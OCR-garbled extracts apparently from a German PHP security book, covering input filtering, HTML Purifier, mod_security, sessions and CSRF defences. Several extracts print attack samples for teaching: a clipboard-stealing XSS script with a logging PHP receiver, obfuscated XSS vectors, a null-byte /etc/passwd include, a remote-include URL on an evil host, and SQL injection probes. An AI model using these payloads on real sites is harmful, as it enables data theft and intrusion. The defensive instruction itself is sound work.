165. ben z B nach usr local lib php Nun k nnen Sie die notwendigen Quelldateien f r den Filter in Ihrem PHP Skript nachladen require_once HTMLPurifier auto php HTML Purifier unterst tzt neben Whitelist basiertem Reinigen von HTML auch weitere M glichkeiten wie eine URL Blacklist zum S u bern von Links Um diese M glichkeiten zu konfigurieren steht Ihnen ein eigenes Objekt zur Verf gung HTML Purifier ist in objektorien tierter Notation geschrieben das Sie zun chst mit einer Factory Methode instanziieren und dem Sie dann Properties zuweisen k nnen config HTMLPurifier_Config createDefault config gt set URI HostBlacklist array google com In diesem Fall wird um die Tests des XSS Cheat Sheet zu bestehen der URL Bestandteil google com auf die Host Blacklist gesetzt er darf also nicht Bestandteil eines Links oder einer Bildreferenz sein Sagt Ihnen die Standard Whitelist f r Tags und Attribute nicht zu k nnen Sie auch diese ver ndern 7 http htmlpurifier org o2 4 Cross Site Scripting config gt set HTML AllowedElements array a img div config gt set HTML AllowedAttributes array a href img src div align class Beachten Sie jedoch dass Sie in einer User Whitelist keine Elemente einf hren k nnen die HTML Purifier nicht schon in der globalen Whitelist f hrt Sie k nnen diese also nur einschr nken und nicht erweitern Das obige Beispiel er
166. benenfalls nach Danach wechseln Sie in das Unterverzeichnis mod_parmguard 1 4 und f hren dort die inzwischen wohlbekannte Kommandoabfolge configure make make install wie folgt aus configure with apxs usr local apache bin apxs f r Apache 1 configure with apxs2 usr local apache2 bin apxx2 f r Apache 2 Passen Sie falls notwendig die Pfade auf Ihre lokale Apache Installa tion an Sollten Sie Ihre LibXML2 in einem Verzeichnis installiert haben das nicht im Suchpfad des Compilers enthalten ist m ssen Sie unter Umst nden den Parameter with 1ibxml2dir usr local include zu der configure Zeile hinzuf gen der dem Compiler den Pfad der LibXML2 Include Dateien anzeigt Meist ist der Standardwert usr include jedoch korrekt Nachdem das configure Skript ohne Fehler durchgelaufen ist bersetzen und installieren Sie mod_parmguard wie gewohnt mit make amp amp make install Das Apache Modul wird vom Installationsskript in das richtige Ver zeichnis kopiert und die Webserver Konfigurationsdatei wird ange passt sodass mod_parmguard beim n chsten Neustart des Webservers geladen wird Nun muss das Modul noch mit einigen Konfigurationsdirektiven im Webserver konfiguriert werden bevor Sie damit beginnen k nnen Filterdateien zu schreiben 12 4 3 Webserver Konfiguration Anders als mod_security wird mod_parmguard in Location Bl cken konfiguriert alle Direktiven werden also von lt Location gt lt Location gt ein
167. besten ein irgendwo auf der Seite platziertes lt img gt Tag das 1 Pixel hoch und breit und somit praktisch unsichtbar ist Mit den folgenden Zeilen wird der Inhalt der Zwischenablage der HTTP Referrer und die IP Adresse des bestohlenen Anwenders ent wendet und an clip_cap php bergeben lt script gt b clipboardData getData Text img lt img src clip_cap php payload escape b amp referrer document referrer width 1 height 1 gt document write img lt script gt Das kurze PHP Skript clip_cap php schreibt die Daten dann zeilen Zwischenablage weise in eine Textdatei abfangen per JavaScript lt php fp fopen clip_log txt a fputs fp htmlentities urldecode _GET payload ENT_QUOTES htmlentities _GET referrer ENT_QUOTES htmlentities _SERVER REMOTE_ADDR nn ENT_QUOTES fclose fp gt Dieser Angriff der ja eigentlich eine legitime Funktion des Internet Geklaute Clipboarddaten Explorer 5 und 6 ausnutzt zeigt ein weiteres Mal wie ernst XSS zu _ speichern mit nehmen ist Anwender die sich nicht den Quelltext jeder Seite an _ clip_cap php schauen die sie besucht haben werden von den Abwegen auf die ihre 9 http Imsdn microsoft com workshop author dhtml reference objects clipboarddata asp 4 Cross Site Scripting Zwischenablage ger t nichts mitbekommen und so unter Umst n den sehr sensible Daten wie Passw rter unfreiwillig mit a
168. bestimmt das Zeichen amp f r das Und Zeichen selbst nbsp f r ein Leerzeichen gt f r das Gr er als Zeichen Environment Variablen Der Begriff Umgebungsvariable engl environment variable ist ein Begriff aus dem Bereich der Betriebssysteme von Computern Eine Umgebungsva riable enth lt beliebige Zeichenketten die in den meisten F llen Pfade zu bestimmten Programmen oder Daten darstellen sowie bestimmte Daten enthalten die von mehreren Programmen verwendet werden k nnen Exploit Ein Exploit engl to exploit ausnutzen ist ein Computerprogramm oder Skript das spezifische Schw chen beziehungsweise Fehlfunktionen eines anderen Computerprogramms ausnutzt z B bei DoS Attacken Dies erfolgt in der Regel mit destruktiver Absicht Fingerprinting Unter Fingerprinting versteht man anhand von speziellen Reaktionen auf bestimmte Anfragen den Webserver inkl seiner Versionsnummer zu ermit teln Firewall Eine Firewall ist eine Software und oder Hardwarel sung die ein Compu ternetzwerk oder einen einzelnen Computer vor unerw nschten Zugriffen aus dem Internet sch tzen soll Garbage Collector In vielen Softwaresystemen wird Speicherplatz bei Bedarf reserviert um die Angaben zu einem Datenobjekt zu speichern Wird nach Abarbeitung eines Programmteils das Objekt nicht mehr verwendet so sollte der Platz f r das Objekt auch wieder verf gbar gemacht werden Diese Aufgabe erledigt eine Garbage Collector genannte Routine
169. c_dir mit der Sie festlegen k n nen welche Dateien mittels exec passthru und Konsorten ausge f hrt werden d rfen Nur die in dem durch diese Konfigurationsdirek tive festgelegten Pfad liegenden Binaries d rfen ausgef hrt werden Damit Sie sichergehen k nnen dass b swillige Nutzer Ihres Servers nicht versuchen den Safe Mode mit exec zu umgehen sollten Sie nur sehr wenige und genau gepr fte Binaries freigeben Einige Binaries werden meist ben tigt um etwa PDF Dateien mit dem Ghostview Paket extern zu erstellen oder ber ImageMagick Bilder zu konvertieren und nur diese Dateien sollte der Administrator dann ins safe mode exec_dir kopieren denn mit jedem zus tzlichen m gli cherweise gef hrlichen Binary wird der Safe Mode zus tzlich gef hrdet Sie sollten bei der Auswahl der f r das safe mode _exec_dir vorgesehenen Dateien sehr vorsichtig sein und nur jene Dateien hin einkopieren die die Chance auf einen erfolgreichen Ausbruch mini mieren Systemdateien und Anwendungen wie cat less more touch bash sh Is cp wget lynx haben im safe_mode_exec_dir sicherlich nichts verloren auch jegliche Compiler und Skriptinterpreter wie cpp gcc cc g perl python awk sed sollten drau en bleiben Schon die eigentlich als harmlos angesehene ImageMagick Biblio thek birgt einige Risiken so k nnen Sie mit dem Befehl convert von und in Textdateien konvertieren und so beliebige Dateien auf dem Server aus lesen Mit eine
170. ch ein JavaScript Tag ausgeben Um die Streuung in den Website Statistiken nicht unn tig zu erh hen werden jedoch meist verschiedene User Agent Klassen zusam mengefasst So ist die Information ob ein Benutzer nun mit einer Fire fox Version aus dem CVS oder einer Mozilla Betaversion auf Ihrer Site war selten von Interesse nur die jeweilige Major Version und der Browserhersteller sind interessant Der User Agent String wird dann von dem ihn auswertenden Skript meist aufgeteilt und somit muss der Angreifer etwas tiefer in die Trickkiste greifen Typischerweise benutzen Skripte n mlich unter anderem den im User Agent String um Versionen und Hersteller voneinander zu trennen Der Slash wird jedoch auch ben tigt um entweder ein lt script gt Tag abzuschlie en oder eine URL anzugeben Da auch UTF 8 codierte Schr gstriche nicht dazu f hren dass der Schadcode im Internet Explorer oder Mozilla ausgef hrt wird kann der Angreifer noch immer auf ein anderes HTML Tag ausweichen M lt img src javascript alert xss gt ozilla 5 0 Windows U Windows NT 6 0 de rv 1 8 1 13 Gecko 20080311 Firefox 2 0 0 13 Am besten ist ein XSS tats chlich in den Teilen des User Agents aufge hoben die f r Statistiken besonders wichtig sind also 4 15 XSS in HTTP Headern 109 Browserhersteller Browsername Betriebssystem An diesen Stellen ist die Wahrscheinlichkeit am geringsten dass das f r das XSS notwendige Tag zusammen m
171. ch in der Vergangenheit vehement gegen dieses Vorgehen gewehrt sei es doch unverantwortlich und f hre zu einer massiven Bedrohung der Internet Infrastruktur Auch das US Heimat schutzministerium versuchte in der Vergangenheit vollst ndige Ver ffentlichungen von L cken zu unterbinden die US Copyright Gesetze im Digital Millenium Copyright Act DMCA siehe Glossar sollten dabei helfen Trotz dieser Widrigkeiten h lt sich die Praxis der Full Disclosure weiterhin was die Liste f r Systemadministratoren zu einer unent behrlichen Quelle macht Zum einen werden Security Hinweise die sogenannten Advisories auf keiner anderen Mailingliste so schnell ver ffentlicht wie auf FD und zum anderen kann die tats chliche Gefahr die von einer L cke ausgeht anhand der Liste gemessen wer den Sobald ein Exploit dort ver ffentlicht wurde k nnen Sie davon ausgehen dass jeder mit einfachsten Mitteln Angriffe gegen die ver wundbare Software starten kann sp testens dann sollten Sie eine Nachtschicht einlegen um Ihre Systeme zu patchen Da FD nicht moderiert wird ist die Latenz zwischen Posting und Ver ffentlichung zwar sehr kurz es kommt jedoch fast t glich zu u erst unangenehmen und erm denden Flamewars zwischen den E 1 Einleitung anwesenden Security Experten vereinzelten Scriptkiddies und den wie auf jeder gro en Liste reichlich vorhandenen Unruhestiftern Diese Scharm tzel ziehen sich teilweise ber Tage hin und so
172. ch nicht per se um ein sicherheitsrelevan tes Modul sondern um eine zus tzliche Methode die CGI Schnitt stelle besonders performant anzusprechen Ein Verlust von Features wie beim normalen CGI PHP entsteht Ihnen durch FastCGI nicht da dieses auch HTTP Authorization Header vom Webserver an die Anwendung weiterleiten kann Die Unterst tzung f r FastCGI in PHP Auszug aus httpd conf f r suPHP und CGI PHP Beispielskript und Output f r mod_suphp 236 10 PHPintern Konfiguration von FastCGI in httpd conf ist sehr alt bereits in der Dokumentation zu PHP FI 2 0 findet sich eine Installationsanleitung f r FastCGI und PHP FastCGI k nnen Sie grunds tzlich als Ersatz f r eine CGI PHP Installation mit suExec verwenden f r den Einsatz mit mod_suphp eignet es sich jedoch nicht Um PHP als FastCGI benutzen zu k nnen m ssen Sie es mit Unterst tzung f r diese API konfigurieren und neu kompilieren Die passende Option f r configure lautet enable fastcgi Haben Sie PHP neu bersetzt sollte das PHP Binary beim Aufruf von php v folgende Ausgabe liefern PHP 4 3 10 cgi fcgi built Aug 17 2005 17 05 27 Das Modul mod_fastegi k nnen Sie von der Downloadseite des Pro jektes herunterladen Sie installieren es nach dem Auspacken mit fol genden beiden Kommandos in Ihrem Webserver apxs o mod _fastcgi so c c apxs i a n fastcgi mod_fastcgi so Nach einem Neustart des Webservers ist das FastCGI Modul s
173. chert werden Es ist prinzipiell eine gute Idee saubere und gepr fte Variablen in einen extra Bereich zu schrei ben In diesem Beispiel kann der Variablen saubere_vars groesse vertraut werden denn sie wurde zuerst initialisiert und dann mit einem g ltigen Wert aus dem _POST Array bef llt Nehmen wir an die Variable saubere_vars w rde am Skriptanfang nicht initialisiert und die Konfigurationsdirektive register_globals sei aktiviert dann k nnte ber die URL ein saubere_vars Array berge ben werden und die berpr fung w re umsonst Daher ist eine kor rekte Initialisierung vor der ersten Benutzung unbedingt erforderlich Zur berpr fung freier Stringeingaben in Formularen wie zum Beispiel ein Passwort das einer bestimmten Security Policy entspre chen muss bieten sich regul re Ausdr cke an Regul re Ausdr cke sind auch eine Art von Whitelist Pr fung lt php saubere_vars array passwort_pattern A Za z0 9 _ 8 if preg_match passwort_pattern _POST passwort die Passwort entspricht nicht den Konventionen else saubere_vars passwort _POST passwort gt In diesem Beispiel wird ein Passwort auf die erlaubten Zeichen A z a z 0 9 und zus tzlich den Sonderzeichen _ berpr ft Zusammen mit der L ngenpr fung aus dem Unterkapitel Datenl nge pr fen wird Schritt f r Schritt eine Security Policy implementiert berpr fung von Formularelementen Extra Bereic
174. chkeit einer SQL Injection in der Datenbankabfrage die dem include Aufruf vorausgeht Ungen gend gepr fte Parameter k nnen ein Sicherheitsrisiko darstellen Werden Parameter an eine Include Funktion bergeben sind mehrere Pr fungen notwendig Ein Anh ngen der Dateiendung oder die Vorgabe eines Teilpfades ist keine L sung Denn auch diese Sicherung kann umgangen werden lt php include pages _GET page php 2 gt Eine nderung der URL wie folgt kann diese Includes kompromittie ren page etc passwd 00 Das 00 ist eine hexadezimale NULL die daf r sorgt dass der Include Befehl auf Dateiebene an dieser Stelle endet lt php include pages etc passwd 00 php To Werden die Parameter mit der Funktion addslashes behandelt oder ist magic_quotes_gpc aktiviert funktioniert dieses Beispiel nicht Durch diese beiden M glichkeiten werden alle einfachen und doppelten Anf hrungszeichen und NULL Werte mit einem Backslash verse hen Die Abwehrm glichkeiten f r eine solche Art von Angriff sind relativ simpel lt php files array pagel php page2 php page3 php if in_array _GET page files include _GET page else echo Kein Zugriff erlaubt gt Hier werden nur Zugriffe auf Dateien gestattet die im Array files stehen Bei allen anderen Dateien wird eine Fehlermeldung ausgege ben Dies ist eine sogenannte Whitelist Pr fung 3 3 Angriffsszenari
175. cht und kann daher mit einem regul ren Ausdruck o nicht gegen sie vorgehen Der Internet Explorer f hrt jedoch vor der Ausf hrung von JavaScript eine UTF 8 Decodierung durch der codierte String wird wieder zum urspr nglichen javascript und kann dann ausgef hrt werden Auch teilweise codierte Zeichenketten wie etwa java amp x73 cript werden vom IE in den korrekten Ursprung zur ck bersetzt Ebenfalls kann mit hexadezimal codierten Tabulatoren Newlines Nullbytes und Blanks der Internet Explorer und ein schlecht program mierter XSS Filter berlistet werden Einige Beispiele finden Sie unten lt img src amp x6A amp x61 8 amp x76 8 x61 8 x73 8 amp x63 8 amp x72 8 x69 8 x70 8 amp alert xss 1 gt lt img src javascr amp x09 ipt alert xss gt lt IMG SRC jav amp x0A ascript alert XSS gt lt IMG SRC jav amp x0D ascript alert XSS gt lt IMG SRC javascript alert XSS gt All diese Angriffsmethoden haben gemeinsam dass zur erfolgreichen Ausf hrung die M glichkeit gegeben sein muss ein komplettes HTML Tag in die Quellseite einzuf gen Hat der Entwickler jedoch Wert auf sauberes Setzen der Anf hrungszeichen und Tag Auszeich nung gelegt ist dies nicht m glich unter Umst nden kann nun kein komplettes Tag wohl aber ein zus tzliches Attribut eingef gt werden F r diesen Fall sind JavaScript Handler sehr n tzlich Neben onClick und onMouseOver gibt es noch einige andere
176. cklist festlegen Mit einer sorgf ltig austarierten Whitelist k nnen Sie hier einige Sicherheitsl cken unsch dlich machen bevor sie auftreten die erns ten XML RPC Bugs waren ausnahmslos angreifbare eval Statements Zus tzlich sch tzen die Black und Whitelists auch alle anderen PHP Funktionen die intern eval benutzen also assert und insbe sondere den e Modifier bei Perl Regular Expressions den Sie aber ber suhosin executor disable_emodifier auch komplett abschalten k nnen Dieser war ebenfalls in der Vergangenheit f r eine ganze Reihe kritischer Sicherheitsl cken genutzt worden unter anderem sorgte ein Fehler in phpBB in Verbindung mit dem Regexp Modifier e f r den bekannten Santy Wurm Wenn Sie eine Blacklist f r eval anle gen sollten s mtliche Systemfunktionen darinstehen Es ist nicht n tig Aufrufe f r Shell Kommandos in eval zu kapseln und mit einer entsprechenden Regel schlie en Sie einen Angriffsvektor der bereits h ufig genutzt wurde Variablenmanipulationen im Hauptprogramm durch per eval ausgef hrten PHP Code werden von diesen Direktiven jedoch nicht abgefangen kann ein Angreifer Variablen des angegriffenen Pro gramms manipulieren ist es ihm meist m glich ber eine eval L cke weitere Angriffe auszuf hren 11 5 Konfiguration 263 Beispiele f r die Evaluationslisten w ren folgende suhosin executor eval whitelist echo str_replace strtok suhosin executor eval blacklist
177. d X Blog mit dem Inhalt Serendipity zur ck Papaya ein Open Source Content Management System sendet ein X Generator HTTP Header Feld mit dem Inhalt Papaya CMS zur ck 2 94 Bestimmte Pfade Durch Eingriffe im Layout kann das Aussehen einer Applikation vor allem wenn sie auf Templates basiert leicht ge ndert werden die Verzeichnisstruktur aber nicht Viele Anwendungen haben eine ein deutige Verzeichnisstruktur anhand derer Anwendungen erkannt und identifiziert werden k nnen Der folgende Link deutet auf ein Mambo Content Management System hin 20 2 Informationsgewinnung Ein Mambo Link auf die Datei default css Typo3 Link auf die Start CSS Datei Entwicklerkommentar im HTML Quellcode Ausgabe am Ende einer durch Mambo generierten Datei Quelltextkommentar von Typo3 lt link href templates md_mambo css default_css css gt Dieser Link deutet auf die CSS Datei des Content Management Sys tems Typo3 hin lt link href typo3conf ext news newsimp_styles css gt 2 9 5 Kommentare im Quellcode Entwickler hinterlassen bisweilen im HTML Quelltext einer PHP Anwendung Kommentare um die Entwicklung leichter zu gestalten Diese Kommentare lassen auf die verwendete Software schlie en lt Test Datenbank db04 php sicherheit de User Hans Pass testOl Tabelle dbl users gt Das Content Management System Mambo speichert am Ende einer HTML Datei eine Kontrollsumme lt 0
178. dabei aber stets im Hinterkopf behalten dass es nicht mehr lange dau ern k nnte bis das CAPTCHA Prinzip auf breiter Front besiegt ist und eine neue Methode zur Vermeidung unerw nschter Eintr ge gefunden werden muss Auch sehbehinderte Besucher Ihrer Site sollten Sie mit in Ihre berlegungen aufnehmen sie k nnen CAPTCHAs unter Umst nden nur sehr eingeschr nkt oder gar nicht wahrnehmen 6 5 Fazit Zu einer sicheren Webanwendung geh rt mehr als der Schutz vor SQL Injection XSS und anderen Sicherheitsl cken Auch die Behandlung von Nutzerdaten und Passw rtern verdient besondere Beachtung So ist eine eigentlich sicher programmierte Anwendung unsicher wenn ein Angreifer die vergebenen Passw rter zu leicht ermitteln kann oder wenn er in der Lage ist legitime Nutzer aus der Anwendung auszu sperren Sie sollten daher besonderes Augenmerk darauf legen dass Passw rter mit gr tm glicher Sicherheit vergeben und verarbeitet werden Au erdem hilft ein grafisches CAPTCHA Bruteforcing gegen Ihre Webanwendungen zu vermeiden 171 7 Sessions Sessions sind die Verbindung zwischen Server und Client Sie speichern Sitzungsdaten und enthalten Daten die einen Benut zer eindeutig identifizieren Auf Sessions sind verschiedene Angriffe m glich die wir hier in diesem Kapitel aufzeigen Au erdem erhalten Sie Tipps wie Sie Angriffe auf Sessions ver hindern bzw erschweren k nnen 7 1 Grundlagen HTTP ist ein zustandsloses Pro
179. dann in den Kontext Ihrer Skripte zu importieren wenn Sie sicher sind dass die Variablen das enthalten was Sie erwarten Diesen Zweck verfolgt die Funktion filter_input Sie erh lt zwei zus tzli che Argumente die angeben welche Variable behandelt werden soll und aus welchem Bereich sie kommt Zu diesem Zweck importiert filter_input die entsprechenden Teile aus den Request Variablen und behandelt sie mit dem bergebenen Filter So k nnen Sie eine Art Brandwall zu Beginn Ihrer PHP Skripte errichten der nur sichere Variablen berhaupt in das Skript hineinl sst und alle anderen Werte aussperrt Bei konsequenter Anwendung ben tigen Sie so die superglo balen Arrays _GET _POST usw nicht mehr alle externen Variablen erhalten Sie als R ckgabewert eines filter_input Aufrufes Momentan kann filter_input Werte aus folgenden Bereichen der HTTP Anfrage entgegennehmen INPUT_GET Per GET bergebene URL Parameter INPUT_POST Variablen aus einem POST Request INPUT_COOKIE Cookie Variablen INPUT_ENV Umgebungsvariablen INPUT_SERVER Servervariablen M chten Sie also die per URL Parameter bergebene Variable id berpr fen um festzustellen ob sie ein Integerwert ist gehen Sie wie folgt vor filter_input INPUT_GET id FILTER_VALIDATE_INT 206 9 Variablenfilter mit ext filter Ist die bergebene Variable nicht vom Typ Integer z B weil ein Angreifer eine M glichkeit f r eine SQL Injection ve
180. de Varia blenmenge Ausgabe von var_dump _GET array 3 foo gt string 3 bar module gt string 23 http evil de evil txt foooo_ gt string 3 baz Beliebig viele f hrende Leerzeichen vor einem Variablennamen werden von PHP entfernt folgende Leerzeichen werden jedoch in Unterstriche _ umgewandelt Diese Normalisierung hat ihren Ursprung in der Historie von PHP das vor der Einf hrung der superglobalen Arrays f r GET POST REQUEST jede Variable aus einem Request Scope auch als gleichnamige Variable im Skript verf gbar machte Variablen namen die Leerzeichen enthalten sind nach wie vor in PHP nicht 290 12 Webserver Filter f r Apache erlaubt f r Array Keys gilt diese Beschr nkung jedoch nicht Somit ist wenn register_globals deaktiviert ist die Variablennormalisierung durch PHP eigentlich berfl ssig wird jedoch nach wie vor durchge f hrt Die Folgen dieser Normalisierung f r mod_security sind fatal Obgleich im eigentlich zu sch tzenden PHP Skript eine Variable namens module bzw GET module verf gbar ist erkennt das Sicher heitsmodul diese Variable nicht da ihr im Query String ein Leerzei chen vorangestellt ist Demnach greift der zuvor installierte Filter f r das Argument module nicht und die beabsichtigte Schutzwirkung gegen URL Inklusionen findet nicht statt Verwenden Sie nie ARG_varname als Suchraum Angreifer k nnten Ihre Filter umgehen Dieses F
181. den kompletten Server kompromittieren sondern scheitert am ge nderten Root Verzeichnis 296 12 Webserver Filter f r Apache Nur f r Apache 2 mod_security 2 12 3 8 mod_security 2 Die aktuelle Version 2 von mod_security bringt neben deutlichen nderungen der Konfigurationsparameter auch einige Neuerungen mit sich die f r interessante Filterm glichkeiten sorgen ber soge nannte Operatoren k nnen Filter nun nicht nur ber regul re Aus dr cke sondern auch mittels anderer Funktionen aufgerufen werden Leider funktioniert mod_security 2 nur mit Apache 2 und die Installa tion ist deutlich aufwendiger geworden Die Entwickler stellen auf der Website eine Migrationshilfe bereit In der neuesten Version 2 5 kann mod_security anhand einer Geo IP Datenbank Regeln mit geografischem Bezug formulieren selbstt tig Inhalte in jedes vom Webserver ausgelieferte Textdokument einf gen hnlich PHPs eigener Konfigurationsoption auto_prepend_file und verf gt ber Unterst tzung f r die Skriptsprache LUA um skript basierte Regeln zu erstellen Installation War die Installation von mod_security 1 noch mit einem einzigen Befehl erledigt m ssen Sie sich f r die zweite Version des Moduls etwas mehr M he geben Die neu hinzugekommene M glichkeit XML Dokumente per xPath zu validieren macht es notwendig dass Sie m chten Sie diese Option nutzen eine aktuelle LibXML auf dem Zielsystem installiert haben und di
182. den unangenehmsten Vor kommnissen f r jede Firma Ein tragf higes Sicherheitskonzept ist sehr umfangreich und kann nicht auf wenige Punkte reduziert werden Ein guter Anhaltspunkt ist die internationale Richtlinie ISO 17799 Code of Practice for Infor mation Security Management die als industrieweit anerkannter Stan dard f r den sicheren Umgang mit IT Systemen und allen dazugeh ri gen Subsystemen gilt Wie alle ISO Standards ist die Richtlinie leider nicht kostenlos erh ltlich kann aber direkt bei der ISO bestellt wer 5 http www schneier com blog archives 2005 02 cryptanalysis_o html 6 http www passcracking com 1 5 150 17799 den Obgleich in ISO 17799 die in vielen Unternehmen als BS 7799 kurz f r British Standard bekannt ist kein Bezug auf webbasierte Systeme genommen wird enth lt die Richtlinie viele wichtige Anre gungen die Sie benutzen k nnen um die sicherheitsrelevanten Abl ufe in Ihrem Unternehmen zu verbessern Im n chsten Abschnitt fassen wir die wichtigsten Punkte der Richtlinie kurz f r Sie zusammen und erl utern den Zusammenhang mit PHP Sicherheit 1 5 150 17799 Besonders in gro en Unternehmen ist die Sicherheit der IT Infrastruk tur und ganz besonders der unternehmensinternen Daten eines der wichtigsten Ziele Um Abl ufe zu standardisieren und das Handling sicherheitsrelevanter Prozesse auf einen einheitlichen Nenner zu brin gen wurde von der British Standards Institution BSI
183. denden Filter enth lt Das zweite Argument zu filter_input ist der Variablenname f r die zu filternde Variable m chten Sie Optionen verwenden die f r jeden Filter unter schiedlich sind k nnen Sie diese als letztes Argument in einem assozi ativen Array bergeben Im Gegensatz zu filter_input filtert filter_var bereits in PHP vorhandene Variablen Elemente aus superglobalen Arrays Session oder von Ihnen definierte Variablen also Die Funktion wird mit min destens einem Argument n mlich der zu filternden Variablen und zwei optionalen Parametern die den anzuwendenden Filter und das assoziative Options Array angeben aufgerufen gefiltertevariable filter _var ungefiltertevariable WOMIT optionen R ckgabewert dieser Funktion ist eine gefilterte Version der bergebe nen Variablen F r jeden zur Verf gung stehenden Filter gibt es eine Konstante sowie einen Integerwert die ihn jeweils eindeutig identifizieren Eine vollst ndige und aktuelle Liste finden Sie in der Onlinedokumenta tion die zum Zeitpunkt der Drucklegung aktuellen Filter haben wir im n chsten Absatz zusammengestellt 9 4 Verf gbare Filter Die Extension bedient sich einer flexiblen aber recht umst ndlich zu benutzenden API um Inputfiltering f r alle m glichen Arten von Ein gabedaten zu betreiben Dabei wird zwischen den sogenannten sani tizing also reinigenden Filtern und solchen unterschieden die 1 http de3 php net
184. der Sonderzeichen und an den Parame ter werden ungewollte Effekte wie z B Fehlermeldungen in der Appli kation hervorgerufen Beispiel index php artnr 1000 Diese Sonderzeichen beenden in einem SQL Statement einen String Bei falscher Validierung treten hier Schwachstellen ans Tageslicht Sehen wir uns den dazugeh rigen PHP Code an lt php mysql_query SELECT name beschreibung preis FROM artikel WHERE artnr _ GET artnr gt Wird hier nun der manipulierte Parameter eingef gt wird aus dem Query String folgender SELECT name beschreibung preis FROM atrikel WHERE artnr 1000 Wir erhalten dann einen Syntaxfehler der Datenbank You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near at line xxx 5 2 Auffinden von SQL Injection M glichkeiten 125 Diese Ausgabe erhalten wir aber nur nach dem Aufruf der PHP Funk tion mysql_error Eine andere weit h ufigere Fehlermeldung bzw Warnung ist Warning mysql_fetch_assoc supplied argument is not a valid MySQL result resource in srv www htdocs post php on line xxx Nun wissen wir anhand dieser Fehlermeldungen um welche Daten bank es sich handelt Ob dieser Parameter nicht richtig validiert wird kann man hier nicht hundertprozentig sagen Es k nnte auch sein dass eine Validierung stattfindet aber nur nicht korrekt in die SQL Abfrage bernommen wird We
185. der Suchbegriff auf den Ergebnisseiten im HTML Sourcecode angezeigt wird ist XSS m glich und auch sonst sollten Betreiber einer Site Suche Vorsicht bei der Verarbeitung der Suchanfragen walten lassen Login Formulare Auch hier bekommt der Besucher nach einem fehlgeschlagenen Login oft den verwendeten Benutzernamen zu sehen Benutzer XYZ ist nicht bekannt oder Passwort falsch Allzu oft werden Benutzernamen oder auch E Mail Adressen nicht auf potenziell sch dliche Zeichen gepr ft Foren Wie wir sp ter feststellen werden sind Foren und CMS leider nicht ganz so einfach gegen XSS zu sichern was daran liegt dass sie bis weilen ganz legitim HTML formatierte Postings annehmen m s sen XSS kann sich in allen Bereichen eines PHP Forums verstecken vom Posting bis hin zu Benutzernamen und profilen Blogs Diese im Vergleich zu Webforen relativ neue Form interaktiver dynamischer Webseiten ist in hohem Ma e von XSS bedroht Sowohl in Postings und Kommentaren die im Wesentlichen wie ein Onlineforum behandelt werden k nnen aber auch in den Blog typischen Funktionen wie Trackbacks und Aggregationen las sen sich XSS Angriffe leicht unterbringen Onlineshops Mit den Warenk rben vieler popul rer Shops kann man bisweilen interessante Dinge anstellen oftmals werden Preis und Mengen angaben nicht berpr ft bevor sie in eine tempor re Anzeige bzw Warenliste bernommen werden 4 10 Angriffe verschleiern XSS
186. deren F llen gibt der Filter NULL zur ck Somit k nnen Sie auch Eingabedaten wie etwa HTML Formularfelder vom Typ Radio button mit einem kurzen Filteraufruf validieren radio filter_var _POST radiobutton FILTER_VALIDATE_BOOLEAN 97 URLs validieren Einen g ltigen URL zu finden ist eine trickreiche Angelegenheit Neben der fehlenden L ngenbegrenzung gibt es sehr viele Sonderrege lungen und exotische Schreibweisen W rden Sie http 12345 6789003232238337 31337 987654321 123 f r eine g ltige Adresse halten Nicht Ist sie aber denn dieser URL beschreibt eine Verbindung zur IP Adresse 3232238337 auf Port 31337 wobei der Benutzername 12345 und das Passwort 67890 bergeben wer den Im Query String wird die Variable 987654321 transportiert und auf 123 gesetzt Derlei wenig bekannte Formatierungen f r URLs kann sich ein Angreifer zunutze machen um ahnungslosen Opfern seri s wirkende Adressen unterzuschieben etwa bei Phishing Angriffen Einen Link auf 202 9 Variablenfilter mit ext filter die Website http www paypal com 3232238337 k nnten unbedarfte Nut zer mit dem popul ren Bezahlsystem verwechseln tats chlich f hrt er jedoch auf die IP Adresse 192 168 11 1 und bergibt dort den Benutzer namen www paypal com Der Firefox Browser warnt Nutzer bevor er eine derart pr parierte Adresse ffnet im Internet Explorer 7 wurde die Unterst tzung f r Authentifizierungsdaten im URL ganz entfernt Die
187. dern Bei administrativen Aufgaben in einem Forum Artikel l schen Benutzer berechtigungen anpassen etc sollte dies das Passwort des ausf hren den Nutzers sein ansonsten k nnen Sie auch eine Ja Nein Abfrage mit zwei entsprechenden Submit Buttons implementieren M chten Sie CSRF Angriffe auf Foren per lt img gt Tag vermeiden so bleibt Ihnen nur eine M glichkeit Verbieten Sie die Einbindung 4 18 Cross Site Request Forgery CSRF 117 externer Bilder in ein Posting komplett Es gibt zwar einige andere Ans tze die auf den ersten Blick sinnvoll erscheinen m gen bei genau erer Betrachtung jedoch nicht oder nicht ad quat umsetzbar sind So k nnten Sie alle Bilder zun chst vom externen auf Ihren Server bertragen sie dort berpr fen und intern einbinden Das w re zwar ein sicherer Schutz gegen CSRE wirft aber einige heikle rechtliche Fra gen auf Was wenn Benutzer urheberrechtlich gesch tztes Material oder sogar strafrechtlich relevante Bilder in Ihrem Forum ver ffentli chen Sie w ren dann sogar als Hoster dieser Bilder haftbar Au erdem w rde sich der Traffic Ihres Forums vervielfachen alle Bilder m ssten von Ihrem Webserver ausgeliefert werden 2 Schutzma nahme gegen CSRF Keine externen Quellen ohne Pr fung referenzieren Eine weitere Variante ist die angebliche Bilddatei per getimagesize direkt auf dem externen Server zu berpr fen schlie lich unterst tzt diese PHP Funktion auch URLs u
188. die Alliierten ein einfa ches Challenge Response Verfahren um sich gegen ber ihren Kame raden zu identifizieren Machte ein Soldat einen Unbekannten aus den er nicht als Freund oder Feind erkennen konnte so rief er Flash Blitz Antwortete sein Gegen ber mit der korrekten Response Thunder Donner so hatte er sich als Mitglied der eigenen Truppe identifiziert Andernfalls wurde das Feuer er ffnet In der heutigen Zeit geht es gl cklicherweise nicht mehr derart martialisch zu das Grundprinzip ist jedoch geblieben Kommunikati onspartner A in diesem Fall der Webserver sendet dem Gegen ber also dem Nutzer eine Challenge in Form eines Links Kann dieser den Link anklicken weil der die E Mail erhalten hat gilt das als Response die Identifikation ist gegl ckt Dieses Verfahren l uft mehrstufig ab hier der Vorgang im Detail Der Kunde fordert ein neues Passwort an In Ihrer Datenbank wird f r diesen Kunden eine zuf llige Chal lenge ID gespeichert die Sie vorher angelegt haben Sie schicken einen Aktivierungslink an seine E Mail Adresse Er muss innerhalb von 24 Stunden auf den Aktivierungslink kli cken Auf der durch den Link referenzierten Seite setzt der Kunde ein neues Passwort das in Ihrer Datenbank eingetragen wird Derartige mehrstufige Vorg nge bezeichnet man gemeinhin 